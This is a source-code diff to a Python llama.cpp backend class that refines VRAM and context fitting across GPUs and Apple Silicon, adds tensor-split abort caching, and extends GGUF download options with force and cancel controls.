     def speculative_type(self) -> Optional[str]:
         return self._speculative_type
@@ -2165,6 +2321,34 @@ class LlamaCppBackend:
         ``_get_gpu_memory`` for callers that only need free VRAM."""
         return [(idx, free) for idx, free, _total in LlamaCppBackend._get_gpu_memory()]
 
+    @staticmethod
+    def _apple_metal_memory_budget_bytes() -> int:
+        """Unified-memory budget for GGUF context fitting on Apple Silicon.
+
+        No GPU is enumerated on Metal, so the context would default to native and
+        over-commit unified memory ("Compute error." at decode, #5118/#6529). Use a
+        fraction of MLX's Metal working-set, else total RAM; 0 off Apple Silicon or
+        when unresolvable, so callers skip the cap.
+        """
+        from utils.hardware import is_apple_silicon
+
+        if not is_apple_silicon():
+            return 0
+        rec_bytes = 0
+        try:
+            import mlx.core as mx
+            if mx.metal.is_available():
+                rec_bytes = int(mx.device_info().get("max_recommended_working_set_size") or 0)
+        except Exception:
+            rec_bytes = 0
+        if rec_bytes <= 0:
+            try:
+                import psutil
+                rec_bytes = int(psutil.virtual_memory().total)
+            except Exception:
+                return 0
+        return int(rec_bytes * _APPLE_UNIFIED_MEMORY_FRACTION)
+
     @staticmethod
     def _get_gpu_memory() -> list[tuple[int, int, int]]:
         """Query free AND total memory per GPU.
@@ -2379,9 +2563,10 @@ class LlamaCppBackend:
             prev = curr
 
     # Free-VRAM fraction at which Studio pins the GPU directly instead of
-    # deferring to ``--fit on``. 5% headroom covers CUDA context + compute
-    # buffers; 0.90 dropped 91-94% fits to CPU offload (#5106).
-    _GPU_PIN_VRAM_FRACTION = 0.95
+    # deferring to ``--fit on``. 3% headroom: the compute buffer is now modelled in
+    # the fit, so this only guards fragmentation + multi-GPU per-device CUDA context
+    # (~2-3%); kept >= 3% as a floor (0.90 dropped 91-94% fits to CPU offload, #5106).
+    _GPU_PIN_VRAM_FRACTION = 0.97
 
     # Fallback per-device tensor-mode compute buffer (MiB), used only when GGUF
     # dims are unavailable so _estimate_compute_buffer_bytes (the primary, derived
@@ -2398,6 +2583,37 @@ class LlamaCppBackend:
     # aborts a --split-mode tensor load, so it's dropped for the tensor attempt.
     _TENSOR_PARALLEL_KV_TYPES = frozenset({"f16", "bf16", "f32"})
 
+    # (binary, mtime, model) that aborted on --split-mode tensor this process (#6415
+    # geometry limit, e.g. MQA n_head_kv=1). Model-keyed so one model's abort doesn't
+    # skip tensor for others; tensor is tried by default, recorded only on a real abort.
+    _tensor_split_abort_keys: set[tuple[str, int, str]] = set()
+
+    @classmethod
+    def _tensor_split_cache_key(
+        cls, binary: Optional[str], model: Optional[str]
+    ) -> Optional[tuple[str, int, str]]:
+        """(path, mtime_ns, model) key; ns mtime re-probes a same-second binary swap."""
+        if not binary or not model:
+            return None
+        try:
+            mtime = Path(binary).stat().st_mtime_ns
+        except OSError:
+            mtime = 0
+        return (binary, mtime, model)
+
+    @classmethod
+    def _tensor_split_aborts(cls, binary: Optional[str], model: Optional[str]) -> bool:
+        """True if (binary, model) aborted on --split-mode tensor this session."""
+        key = cls._tensor_split_cache_key(binary, model)
+        return key is not None and key in cls._tensor_split_abort_keys
+
+    @classmethod
+    def _record_tensor_split_abort(cls, binary: Optional[str], model: Optional[str]) -> None:
+        """Remember a (binary, model) that aborts on --split-mode tensor."""
+        key = cls._tensor_split_cache_key(binary, model)
+        if key is not None:
+            cls._tensor_split_abort_keys.add(key)
+
     @staticmethod
     def _windows_pip_nvidia_dll_dirs(prefix: str) -> list[str]:
         """Return DLL dirs from pip-installed CUDA wheels under
@@ -2537,9 +2753,13 @@ class LlamaCppBackend:
         usable_fraction: Optional[float] = None,
         total_by_idx: Optional[dict[int, int]] = None,
         per_device_overhead_bytes: int = 0,
+        min_gpus: int = 1,
     ) -> tuple[Optional[list[int]], bool]:
         """Pick GPU(s) for a model from estimated VRAM and free memory.
 
+        ``min_gpus`` (default 1, capped at ``len(gpus)``) keeps a downgraded
+        tensor/multi-GPU request spread instead of collapsing to one card.
+
         ``model_size_bytes`` should include weights and estimated KV cache.
         ``usable_fraction`` (default ``_GPU_PIN_VRAM_FRACTION``) provides
         headroom for compute buffers, CUDA context, and other runtime
@@ -2558,9 +2778,11 @@ class LlamaCppBackend:
         if not gpus:
             return None, True
 
+        min_gpus = max(1, min(min_gpus, len(gpus)))
         model_size_mib = model_size_bytes / (1024 * 1024)
         if usable_fraction is None:
             usable_fraction = LlamaCppBackend._GPU_PIN_VRAM_FRACTION
+        overhead_mib = per_device_overhead_bytes / (1024 * 1024)
 
         # Per-GPU usable budget: free - (1-frac)*total when total is known, else
         # the legacy free*frac (also covers a total-0 two-column probe).
@@ -2574,19 +2796,26 @@ class LlamaCppBackend:
         # card can have less usable room than a less-used small one.
         ranked = sorted(gpus, key = lambda g: _usable(g[0], g[1]), reverse = True)
 
-        # Try 1 GPU at the usable-VRAM threshold.
-        if _usable(ranked[0][0], ranked[0][1]) >= model_size_mib:
+        # Cap a downgraded multi-GPU request to the usable count so it doesn't pull
+        # in a near-full card to hit min_gpus. No-op for the default min_gpus == 1.
+        usable_count = sum(1 for idx, free_mib in ranked if _usable(idx, free_mib) > overhead_mib)
+        min_gpus = max(1, min(min_gpus, usable_count or 1))
+
+        # Try 1 GPU at the usable-VRAM threshold (only when one device is allowed).
+        if min_gpus <= 1 and _usable(ranked[0][0], ranked[0][1]) >= model_size_mib:
             return [ranked[0][0]], False
 
-        # Try N GPUs (accumulate usable memory from most-free). Each GPU past the
-        # first adds a fixed per-device overhead the pool must hold.
-        overhead_mib = per_device_overhead_bytes / (1024 * 1024)
+        # Try N GPUs (most-free first); each past the first adds per-device overhead.
+        # Require at least min_gpus devices before accepting a fit.
         cumulative = 0.0
         selected = []
         for idx, free_mib in ranked:
             selected.append(idx)
             cumulative += _usable(idx, free_mib)
-            if cumulative >= model_size_mib + (len(selected) - 1) * overhead_mib:
+            if (
+                len(selected) >= min_gpus
+                and cumulative >= model_size_mib + (len(selected) - 1) * overhead_mib
+            ):
                 return sorted(selected), False
 
         # Too large even for all GPUs; let --fit handle it
@@ -2893,6 +3122,27 @@ class LlamaCppBackend:
 
     _DEFAULT_N_UBATCH = 512  # llama.cpp --ubatch default; Studio does not override it
     _COMPUTE_BUFFER_SAFETY = 1.15  # upper-bound margin on the compute-buffer estimate
+    # Soft VRAM the modeled terms omit; charged to the fit budget on tight tiers (#6682).
+    _CUDA_CONTEXT_RESERVE_BYTES = 320 * 1024 * 1024  # CUDA ctx + cuBLAS workspace (~330 MiB)
+    _MMPROJ_VRAM_SAFETY = 1.4  # mmproj worst-case buffer vs file size (runtime ~1.3x)
+    _MTP_DRAFT_COMPUTE_BYTES = 224 * 1024 * 1024  # MTP draft decode graph beyond its KV
+    # The flash-attn KQ mask + attention scratch grow ~linearly with context; the flat
+    # _estimate_compute_buffer_bytes term only covers ctx -> 0. The per-token rate
+    # depends on the KV cache type: a QUANTIZED cache (q8_0/q5/q4/iq4) needs a
+    # context-sized dequant scratch that scales with n_embd, measured at 0.74-2.02 x
+    # n_embd across Qwen3.5/3.6 (2B/4B/9B/27B) and Gemma-4 (12B/31B) at q8_0; an
+    # f16/bf16/f32 cache skips the dequant and pays only the KQ mask, a flat n_ubatch*2
+    # bytes per context token regardless of n_embd (measured 1024 B/tok on Qwen-9B and
+    # Gemma-31B alike). So Qwen3.5-4B at 256k is 1.30 GiB at q8_0 vs 0.31 GiB at f16.
+    # 2.25 covers the worst quantized case (Qwen3.5-4B, ~2.0x) plus the under-modeled
+    # flat base; the mask safety covers the f16 base gap. Without this term, tight tiers
+    # at extreme context over-pin and spill to CPU (the 3% cushion is only ~0.25 GiB on
+    # an 8 GB card, far below the ~1-2.4 GiB quantized buffer at 256k): e.g. Qwen3.5-4B
+    # Q4 at 256k needs ~8.5 GiB on a real 8 GB card (weights 2.4 + KV 4.3 + compute 1.3
+    # + CUDA ctx) -> CPU spill; with this reserve the auto context caps to ~210k, fits.
+    _CTX_COMPUTE_BYTES_PER_EMBD = 2.25  # quantized KV, regular attention (dequant scratch)
+    _CTX_COMPUTE_BYTES_PER_EMBD_MLA = 1.25  # quantized KV, MLA (compressed attn: measured 0.94x)
+    _CTX_COMPUTE_F16_MASK_SAFETY = 1.5  # f16/bf16/f32 KV: KQ mask only (n_ubatch*2 B/tok)
 
     def _estimate_compute_buffer_bytes(
         self,
@@ -2923,6 +3173,85 @@ class LlamaCppBackend:
             compute = act_scratch + out_buffer * max(0, par - 1)
         return int(compute * self._COMPUTE_BUFFER_SAFETY)
 
+    def _compute_buffer_ctx_bytes(
+        self,
+        n_ctx: int,
+        n_ubatch: Optional[int] = None,
+        cache_type_kv: Optional[str] = None,
+    ) -> int:
+        """Context-linear growth of the per-device compute buffer (bytes), charged
+        on top of the flat ``_estimate_compute_buffer_bytes``. The flash-attn KQ
+        mask + attention scratch scale ~linearly with context and with the micro-
+        batch; the flat term only covers ctx -> 0. A quantized KV cache adds a
+        context-sized dequant scratch that scales with n_embd; f16/bf16/f32 pays only
+        the KQ mask, a flat n_ubatch*2 bytes per context token. ``cache_type_kv`` None
+        -> f16 (llama.cpp's default; an env-set quantized cache is budgeted as f16 on
+        the KV side, whose over-reservation absorbs the dequant scratch). Returns 0
+        when dims are missing or ``n_ctx`` <= 0."""
+        n_embd = self._embedding_length or 0
+        if n_embd <= 0 or n_ctx <= 0:
+            return 0
+        ub = max(1, int(n_ubatch if n_ubatch else self._DEFAULT_N_UBATCH))
+        if _kv_bytes_per_elem(cache_type_kv) < 2.0:
+            # Quantized cache: the dequant scratch dominates and scales with n_embd.
+            # MLA (compressed KV) needs far less of it: measured 0.94 x n_embd on
+            # GLM-5.2 and Kimi-K2.7 vs up to 2.02x on regular attention.
+            ub_scale = ub / self._DEFAULT_N_UBATCH
+            rate = (
+                self._CTX_COMPUTE_BYTES_PER_EMBD_MLA
+                if self._key_length_mla
+                else self._CTX_COMPUTE_BYTES_PER_EMBD
+            )
+            per_tok = rate * n_embd * ub_scale
+        else:
+            # f16/bf16/f32: only the KQ mask ([n_kv, n_ubatch] f16), n_embd-independent.
+            per_tok = ub * 2 * self._CTX_COMPUTE_F16_MASK_SAFETY
+        return int(per_tok * n_ctx)
+
+    def _slots_that_fit_on_gpu(
+        self,
+        n_parallel: int,
+        effective_ctx: int,
+        gpus: list[tuple[int, int]],
+        total_by_idx: Optional[dict[int, int]],
+        base_footprint_bytes: int,
+        cache_type_kv: Optional[str],
+        pin_fraction: float,
+        per_device_overhead_bytes: int,
+        min_gpus: int,
+        n_ubatch: Optional[int] = None,
+    ) -> tuple[Optional[list[int]], bool, int]:
+        """Largest serving-slot count in [1, n_parallel) whose fully-on-GPU footprint fits,
+        so Studio keeps the model on GPU (-ngl -1) instead of --fit on, which offloads layers
+        to host and collapses decode ~3x (oobabooga #6718). ``base_footprint_bytes`` is the
+        slot-independent footprint (weights + soft overhead + MTP + context-linear compute,
+        minus the folded compute buffer); each candidate re-adds the slot-sized compute buffer
+        and KV, then re-selects GPUs like the explicit-context path. Returns (gpu_indices,
+        use_fit=False, slots) for the largest fitting count, else (None, True, n_parallel).
+        Only ever reduces; deterministic and unit-testable with synthetic VRAM maps."""
+        for slots in range(n_parallel - 1, 0, -1):
+            cb = self._estimate_compute_buffer_bytes(
+                n_ubatch = n_ubatch, n_parallel = slots, per_device_tensor = False
+            )
+            if cb <= 0:
+                cb = self._TENSOR_PARALLEL_BUFFER_RESERVE_MIB * 1024 * 1024
+            total = (
+                base_footprint_bytes
+                + cb
+                + self._estimate_kv_cache_bytes(effective_ctx, cache_type_kv, n_parallel = slots)
+            )
+            gpu_indices, use_fit = self._select_gpus(
+                total,
+                gpus,
+                usable_fraction = pin_fraction,
+                total_by_idx = total_by_idx,
+                per_device_overhead_bytes = per_device_overhead_bytes,
+                min_gpus = min_gpus,
+            )
+            if not use_fit:
+                return gpu_indices, False, slots
+        return None, True, n_parallel
+
     def _fit_context_to_vram(
         self,
         requested_ctx: int,
@@ -2938,6 +3267,7 @@ class LlamaCppBackend:
         kv_on_gpu: bool = True,
         mtp_engaged: bool = False,
         mtp_overhead_fn: Optional[Callable[[int], int]] = None,
+        compute_ctx_bytes_fn: Optional[Callable[[int], int]] = None,
         budget_frac: Optional[float] = None,
         total_mib: Optional[int] = None,
     ) -> int:
@@ -2989,9 +3319,14 @@ class LlamaCppBackend:
         def _mtp_at(ctx: int) -> int:
             return mtp_overhead_fn(ctx) if mtp_overhead_fn is not None else 0
 
+        def _cc_at(ctx: int) -> int:
+            # Context-linear compute-buffer growth (flash-attn KQ mask + scratch);
+            # the flat term in model_footprint only covers ctx -> 0.
+            return compute_ctx_bytes_fn(ctx) if compute_ctx_bytes_fn is not None else 0
+
         # Already fits?
         kv = self._estimate_kv_cache_bytes(requested_ctx, cache_type_kv, **kv_kwargs)
-        if model_footprint + kv + _mtp_at(requested_ctx) <= budget_bytes:
+        if model_footprint + kv + _mtp_at(requested_ctx) + _cc_at(requested_ctx) <= budget_bytes:
             return requested_ctx
 
         # Weights + compute buffer alone exceed budget -- reducing ctx can't help.
@@ -3012,7 +3347,7 @@ class LlamaCppBackend:
         while lo <= hi:
             mid = (lo + hi) // 2
             kv = self._estimate_kv_cache_bytes(mid, cache_type_kv, **kv_kwargs)
-            if kv + _mtp_at(mid) <= remaining:
+            if kv + _mtp_at(mid) + _cc_at(mid) <= remaining:
                 best = mid
                 lo = mid + 1
             else:
@@ -3115,9 +3450,10 @@ class LlamaCppBackend:
                         except (ValueError, OSError):
                             # Log file closed under us; tee silently.
                             pass
-        except (ValueError, OSError):
-            # Pipe closed -- process terminating.
-            pass
+        except Exception:
+            # Never let the drain thread die: a full stdout pipe can deadlock
+            # llama-server (Windows). Pipe-closed on exit is the common case.
+            logger.debug("llama-server stdout drain stopped", exc_info = True)
 
     # GGUF KV type sizes for fast skipping
     _GGUF_TYPE_SIZE = {
@@ -3612,12 +3948,22 @@ class LlamaCppBackend:
         hf_repo: str,
         hf_variant: Optional[str] = None,
         hf_token: Optional[str] = None,
+        force: bool = False,
+        allow_smaller_fallback: bool = True,
+        cancel_event: Optional[threading.Event] = None,
     ) -> str:
         """Download GGUF file(s) from HuggingFace. Returns local path.
 
         Runs WITHOUT self._lock so unload_model() can set _cancel_event at
         any time; checks it between each shard download.
+
+        ``force`` re-fetches even when a (possibly stale) blob is cached.
+        ``allow_smaller_fallback=False`` raises on low disk instead of silently
+        switching to a smaller quant. ``cancel_event`` overrides
+        ``self._cancel_event`` so an update can use a private event without
+        touching the shared one; defaults to the shared event.
         """
+        cancel_event = cancel_event if cancel_event is not None else self._cancel_event
         try:
             import huggingface_hub  # noqa: F401 -- presence check only
         except ImportError:
@@ -3683,21 +4029,22 @@ class LlamaCppBackend:
             # cold whenever free disk is below the full weight footprint,
             # even though nothing needs downloading.
             already_cached_bytes = 0
-            for p in path_infos:
-                if not p.size:
-                    continue
-                try:
-                    cached_path = try_to_load_from_cache(hf_repo, p.path)
-                except Exception:
-                    cached_path = None
-                if isinstance(cached_path, str) and os.path.exists(cached_path):
+            if not force:
+                for p in path_infos:
+                    if not p.size:
+                        continue
                     try:
-                        on_disk = os.path.getsize(cached_path)
-                    except OSError:
-                        on_disk = 0
-                    # Satisfied only when the full blob is present.
-                    if on_disk >= p.size:
-                        already_cached_bytes += p.size
+                        cached_path = try_to_load_from_cache(hf_repo, p.path)
+                    except Exception:
+                        cached_path = None
+                    if isinstance(cached_path, str) and os.path.exists(cached_path):
+                        try:
+                            on_disk = os.path.getsize(cached_path)
+                        except OSError:
+                            on_disk = 0
+                        # Satisfied only when the full blob is present.
+                        if on_disk >= p.size:
+                            already_cached_bytes += p.size
 
             total_download_bytes = max(0, total_bytes - already_cached_bytes)
 
@@ -3720,6 +4067,13 @@ class LlamaCppBackend:
                 )
 
                 if total_download_bytes > free_bytes:
+                    if not allow_smaller_fallback:
+                        # Update path: never silently switch to a smaller quant;
+                        # surface the disk shortfall for the requested variant.
+                        raise RuntimeError(
+                            f"Not enough disk space to download {gguf_filename}. "
+                            f"Only {free_gb:.1f} GB free in {cache_dir}"
+                        )
                     smaller = self._find_smallest_fitting_variant(
                         hf_repo,
                         free_bytes,
@@ -3760,7 +4114,7 @@ class LlamaCppBackend:
         )
         logger.info(f"Resolving GGUF: {gguf_label}")
         try:
-            if self._cancel_event.is_set():
+            if cancel_event.is_set():
                 raise RuntimeError("Cancelled")
             dl_start = time.monotonic()
             # Xet primary, HTTP fallback on stall; per-file so finished shards stay cached.
@@ -3768,18 +4122,20 @@ class LlamaCppBackend:
                 hf_repo,
                 gguf_filename,
                 hf_token,
-                cancel_event = self._cancel_event,
+                cancel_event = cancel_event,
                 on_status = lambda m: logger.info(m),
+                force_download = force,
             )
             for shard in gguf_extra_shards:
-                if self._cancel_event.is_set():
+                if cancel_event.is_set():
                     raise RuntimeError("Cancelled")
                 logger.info(f"Resolving GGUF shard: {shard}")
                 hf_hub_download_with_xet_fallback(
                     hf_repo,
                     shard,
                     hf_token,
-                    cancel_event = self._cancel_event,
+                    cancel_event = cancel_event,
+                    force_download = force,
                 )
         except Exception as e:
             if isinstance(e, RuntimeError) and "Cancelled" in str(e):
@@ -3802,6 +4158,7 @@ class LlamaCppBackend:
         hf_token: Optional[str],
         pick: Callable[[list[str]], Optional[str]],
         label: str,
+        cancel_event: Optional[threading.Event] = None,
     ) -> Optional[str]:
         """Resolve and fetch a companion GGUF (mmproj / MTP drafter) by name.
 
@@ -3809,8 +4166,10 @@ class LlamaCppBackend:
         (offline, same fallback as _download_gguf), then hf_hub_download.
         Runs WITHOUT self._lock (like _download_gguf); honors _cancel_event so
         an /unload between the main download and here skips the fetch.
+        ``cancel_event`` overrides ``self._cancel_event`` (defaults to it).
         """
-        if self._cancel_event.is_set():
+        cancel_event = cancel_event if cancel_event is not None else self._cancel_event
+        if cancel_event.is_set():
             return None
 
         target: Optional[str] = None
@@ -3819,7 +4178,7 @@ class LlamaCppBackend:
         # Retry a transient listing blip; permanent repo/auth errors and offline
         # mode are not retried (offline raises at once -> fall through to cache).
         for attempt in range(3):
-            if self._cancel_event.is_set():
+            if cancel_event.is_set():
                 return None
             try:
                 target = pick(list_repo_files(hf_repo, token = hf_token))
@@ -3835,10 +4194,10 @@ class LlamaCppBackend:
                     logger.debug(f"Could not list repo files for {label}: {e}")
                     break
                 logger.debug(
-                    f"Could not list repo files for {label} " f"(attempt {attempt + 1}/3): {e}"
+                    f"Could not list repo files for {label} (attempt {attempt + 1}/3): {e}"
                 )
                 if attempt < 2:
-                    self._cancel_event.wait(2**attempt)
+                    cancel_event.wait(2**attempt)
 
         if target is None:
             try:
@@ -3852,7 +4211,7 @@ class LlamaCppBackend:
             except Exception as e:
                 logger.debug(f"Offline cache lookup for {label} failed: {e}")
 
-        if target is None or self._cancel_event.is_set():
+        if target is None or cancel_event.is_set():
             return None
 
         try:
@@ -3862,7 +4221,7 @@ class LlamaCppBackend:
                 hf_repo,
                 target,
                 hf_token,
-                cancel_event = self._cancel_event,
+                cancel_event = cancel_event,
             )
         except Exception as e:
             logger.warning(f"Could not download {label}: {e}")
@@ -3873,11 +4232,13 @@ class LlamaCppBackend:
         *,
         hf_repo: str,
         hf_token: Optional[str] = None,
+        cancel_event: Optional[threading.Event] = None,
     ) -> Optional[str]:
         """Download the mmproj (vision projection) file from a GGUF repo.
 
         Prefers mmproj-F16.gguf, else any mmproj*.gguf. Returns the local
-        path, or None if none exists.
+        path, or None if none exists. ``cancel_event`` overrides
+        ``self._cancel_event`` (defaults to it).
         """
 
         def _pick_mmproj(candidates: list[str]) -> Optional[str]:
@@ -3898,6 +4259,7 @@ class LlamaCppBackend:
             hf_token = hf_token,
             pick = _pick_mmproj,
             label = "mmproj",
+            cancel_event = cancel_event,
         )
 
     def _download_mtp(
@@ -4102,6 +4464,17 @@ class LlamaCppBackend:
                 "expected; otherwise check the llama-server log for the cause."
             )
 
+        # A live server that never answered 200 on /health is not a bad GGUF:
+        # the load is too large for VRAM/context, or a local proxy/VPN grabbed
+        # the loopback probe (#5740).
+        if "health check timed out" in lowered:
+            return (
+                "llama-server started but never became healthy on its local "
+                "/health endpoint. Try a smaller context length or a more "
+                "quantized GGUF, and if you use a VPN or HTTP proxy make sure "
+                "localhost bypasses it (NO_PROXY=127.0.0.1,localhost)."
+            )
+
         # Fallback: genuinely unknown failure (OOM, missing binary ...).
         return (
             "llama-server failed to start. "
@@ -4121,6 +4494,7 @@ class LlamaCppBackend:
         max_target_ctx: Optional[int] = None,
         total_by_idx: Optional[dict[int, int]] = None,
         n_ubatch: Optional[int] = None,
+        soft_overhead_bytes: int = 0,
     ) -> tuple[int, int, list[int], Optional[list[int]]]:
         """Plan a ``--split-mode tensor`` load. Pure: no model or GPU needed.
 
@@ -4132,9 +4506,11 @@ class LlamaCppBackend:
         ``(effective_ctx, max_available_ctx, gpu_indices, tensor_split)``.
 
         Policy (assumes >= 2 GPUs; the caller drops the toggle below that):
-        - Cap context to the KV that fits the pooled VRAM after the weights and
-          one per-device compute-graph buffer (``_estimate_compute_buffer_bytes``,
-          deterministic from dims; flat fallback when dims are unavailable).
+        - Cap context to the KV that fits the pooled VRAM after the weights, one
+          per-device flat compute-graph buffer (``_estimate_compute_buffer_bytes``,
+          deterministic from dims; flat fallback when dims are unavailable), and the
+          per-device context-linear compute growth (``_compute_buffer_ctx_bytes``,
+          replicated on every device in tensor mode, so summed over the split).
           llama.cpp's ``--fit`` is a no-op in tensor mode, so this is the only
           cap, honored even for an explicit ``-c``. It is more accurate than the
           0.80 whole-pool heuristic, which over-reserves and leaves VRAM unused.
@@ -4143,7 +4519,9 @@ class LlamaCppBackend:
           share fits the smallest GPU; otherwise it is weighted by usable budget
           so the roomier GPU absorbs more weight and the smallest keeps room for KV.
         ``total_by_idx`` enables the total-based occupancy cap; ``n_ubatch`` sizes
-        the compute buffer.
+        the compute buffer. ``soft_overhead_bytes`` is the CUDA-context / mmproj /
+        MTP-draft-graph reserve the layer path folds into ``model_size_fit``;
+        charged against the pooled budget so tensor mode reserves the same overhead.
         """
 
         # Per-GPU usable budget: free - (1-frac)*total, else (unknown total, e.g. a
@@ -4189,16 +4567,40 @@ class LlamaCppBackend:
         flat_mtp_bytes = max(0, mtp_flat_reserve_bytes)
         if mtp_engaged and mtp_overhead_fn is None:
             flat_mtp_bytes = max(flat_mtp_bytes, 2 * 1024**3)
+        # soft_overhead_bytes is the CUDA-context / mmproj / MTP-draft-graph reserve
+        # the layer path folds into model_size_fit. Tensor mode has no --fit valve, so
+        # an unreserved overshoot OOMs at startup rather than offloading; charge it here
+        # too. Once (pooled), mirroring the layer path -- the per-device CUDA context is
+        # a known slight under-charge, left for real multi-GPU data.
         kv_budget_b = (
-            (pool_mib - len(gpu_indices) * reserve_mib) * 1024 * 1024 - model_size - flat_mtp_bytes
+            (pool_mib - len(gpu_indices) * reserve_mib) * 1024 * 1024
+            - model_size
+            - flat_mtp_bytes
+            - max(0, soft_overhead_bytes)
         )
 
         def _mtp_at(ctx: int) -> int:
             return mtp_overhead_fn(ctx) if mtp_overhead_fn is not None else 0
 
+        # Context-linear compute buffer, summed over the split. Tensor mode
+        # replicates the compute graph on EVERY device (measured: the per-device
+        # buffer grows a flat n_ubatch*2 bytes/token, ~1024 B/tok on Qwen3.5-9B at
+        # f16, independent of n_embd), so the growth is n_dev x the per-device
+        # term. cache_type_kv here is always non-quantized (tensor forces f16), so
+        # _compute_buffer_ctx_bytes returns the light KQ-mask term, not the heavy
+        # quantized dequant scratch. The flat reserve_mib above only covers ctx->0;
+        # without this the fit over-pins and OOMs at high context on a tight pool
+        # (0.5-4 GiB unreserved at 262k-1M across 2-4 GPUs), the tensor-mode analog
+        # of the layer-split compute bug.
+        n_dev = len(gpu_indices)
+
+        def _cc_ctx(ctx: int) -> int:
+            return n_dev * self._compute_buffer_ctx_bytes(ctx, n_ubatch, cache_type_kv)
+
         def _fit_ctx(ctx: int) -> int:
-            # Largest context whose KV (+ MTP draft reserve) fits the pooled
-            # budget. Floors small, but never raises an explicit ctx above asked.
+            # Largest context whose KV (+ MTP draft reserve + context-linear
+            # compute) fits the pooled budget. Floors small, but never raises an
+            # explicit ctx above asked.
             if self._can_estimate_kv() and ctx > 0:
                 ctx_floor = min(2048, ctx)
                 if kv_budget_b <= 0:
@@ -4206,11 +4608,13 @@ class LlamaCppBackend:
                     # falls back to layer split.
                     return ctx_floor
                 if mtp_overhead_fn is not None:
-                    # kv(ctx)+mtp(ctx) is not single-linear, so binary search.
+                    # kv(ctx)+mtp(ctx)+compute(ctx) is not single-linear, so binary search.
                     def _consumer(c: int) -> int:
-                        return self._estimate_kv_cache_bytes(
-                            c, cache_type_kv, n_parallel = n_parallel
-                        ) + _mtp_at(c)
+                        return (
+                            self._estimate_kv_cache_bytes(c, cache_type_kv, n_parallel = n_parallel)
+                            + _mtp_at(c)
+                            + _cc_ctx(c)
+                        )
 
                     if _consumer(ctx) <= kv_budget_b:
                         return ctx
@@ -4224,9 +4628,10 @@ class LlamaCppBackend:
                             hi = mid - 1
                     return best
                 kv_at = self._estimate_kv_cache_bytes(ctx, cache_type_kv, n_parallel = n_parallel)
-                if kv_at <= kv_budget_b:
+                total_at = kv_at + _cc_ctx(ctx)  # both ~linear through the origin
+                if total_at <= kv_budget_b:
                     return ctx
-                return max(ctx_floor, int(ctx * kv_budget_b / kv_at))
+                return max(ctx_floor, int(ctx * kv_budget_b / total_at))
             # KV size unknown -> can't prove a safe cap; floor.
             return min(4096, ctx) if ctx > 0 else 4096
 
@@ -4246,10 +4651,23 @@ class LlamaCppBackend:
         # The MTP reserve also has to fit the even split (mirror the pooled budget):
         # byte-accurate per-ctx (0 when no fn) plus the same flat cushion as above.
         mtp_bytes = (_mtp_at(effective_ctx) if effective_ctx > 0 else 0) + flat_mtp_bytes
-        even_share_mib = (model_size + kv_bytes + mtp_bytes) / len(gpu_indices) / (1024 * 1024)
+        # Context-linear compute is replicated per device; charge the whole split so
+        # the weighted ratio reflects it (mirrors kv_budget_b's per-device reserve).
+        cc_bytes = _cc_ctx(effective_ctx) if effective_ctx > 0 else 0
+        even_share_mib = (
+            (model_size + kv_bytes + mtp_bytes + cc_bytes) / len(gpu_indices) / (1024 * 1024)
+        )
         tensor_split: Optional[list[int]] = None
         if even_share_mib > (min_usable_mib - reserve_mib):
-            adj = [max(0, int(usable_by_idx[i] - reserve_mib)) for i in gpu_indices]
+            # Each device also holds its replicated share of the context-linear
+            # compute (cc_bytes/n_dev) on top of the flat reserve. The even-share
+            # gate above charges cc_bytes; the split weights must subtract it too, or
+            # the smaller card is weighted above its real usable budget and OOMs (the
+            # per-device analog of the layer path's per-GPU overhead in _select_gpus).
+            cc_per_dev_mib = (cc_bytes // len(gpu_indices)) // (1024 * 1024) if cc_bytes else 0
+            adj = [
+                max(0, int(usable_by_idx[i] - reserve_mib - cc_per_dev_mib)) for i in gpu_indices
+            ]
             if sum(adj) > 0:
                 tensor_split = adj
         return effective_ctx, max_available_ctx, gpu_indices, tensor_split
@@ -4299,6 +4717,17 @@ class LlamaCppBackend:
             )
         )
 
+    @staticmethod
+    def _is_tensor_split_assert(output: str) -> bool:
+        """True only for the #6415 split-axis warmup assert (GGML_BACKEND_SPLIT_AXIS_*),
+        not any ggml assert/abort, so an unrelated invariant isn't cached. stderr is
+        merged into output."""
+        text = (output or "").lower()
+        if "ggml_assert" not in text and "ggml_abort" not in text:
+            return False
+        # the split-axis enum token, unique to this assert (not the source file).
+        return "split_axis" in text
+
     @staticmethod
     def _is_signal_crash(returncode: Optional[int]) -> bool:
         """True only on a hard fault (SIGSEGV/SIGABRT/SIGILL/SIGFPE/SIGBUS or a
@@ -4311,6 +4740,20 @@ class LlamaCppBackend:
             return True
         return -returncode in (4, 6, 7, 8, 11)  # SIGILL SIGABRT SIGBUS SIGFPE SIGSEGV
 
+    @staticmethod
+    def _is_abort_exit(returncode: Optional[int]) -> bool:
+        """Windows CRT abort() exit code (3) from GGML_ASSERT on MSVC -- not a POSIX
+        signal or 0xC0000000+ NTSTATUS."""
+        return returncode == 3
+
+    @classmethod
+    def _should_record_tensor_split_abort(cls, returncode: Optional[int], output: str) -> bool:
+        """The #6415 split-axis abort: the marker plus a hard crash (POSIX signal or
+        Windows abort exit). Marker required so a generic crash isn't cached."""
+        return cls._is_tensor_split_assert(output) and (
+            cls._is_signal_crash(returncode) or cls._is_abort_exit(returncode)
+        )
+
     @staticmethod
     def _with_flash_attn_off(cmd: list[str]) -> Optional[list[str]]:
         """Return cmd with flash attention forced off, or None when its effective
@@ -4455,6 +4898,8 @@ class LlamaCppBackend:
         n_gpu_layers: Optional[int] = None,  # caller compat, unused
         n_parallel: int = 1,
         extra_args: Optional[List[str]] = None,
+        # Route-level tensor->layer fallback retry: keep the layer split multi-GPU.
+        preserve_multi_gpu_on_layer: bool = False,
     ) -> bool:
         """Start llama-server with a GGUF model.
 
@@ -4485,6 +4930,8 @@ class LlamaCppBackend:
             "n_gpu_layers": n_gpu_layers,
             "n_parallel": n_parallel,
             "extra_args": list(extra_args) if extra_args is not None else None,
+            # Replayed by _respawn_if_dead so a downgraded model stays multi-GPU.
+            "preserve_multi_gpu_on_layer": preserve_multi_gpu_on_layer,
         }
         # Serialise the whole load so concurrent /load calls never leave two
         # llama-server processes alive (#5401 / #5161). Doesn't block /unload.
@@ -4508,6 +4955,7 @@ class LlamaCppBackend:
                 chat_template_override = chat_template_override,
                 extra_args = extra_args,
                 is_vision = is_vision,
+                preserve_multi_gpu_on_layer = preserve_multi_gpu_on_layer,
             ):
                 logger.info(
                     f"load_model: backend already in target state for "
@@ -4593,6 +5041,9 @@ class LlamaCppBackend:
             # Block-diffusion GGUFs (DiffusionGemma) cannot run on llama-server;
             # serve them with the diffusion runner (same OpenAI-compat interface).
             if self._is_diffusion:
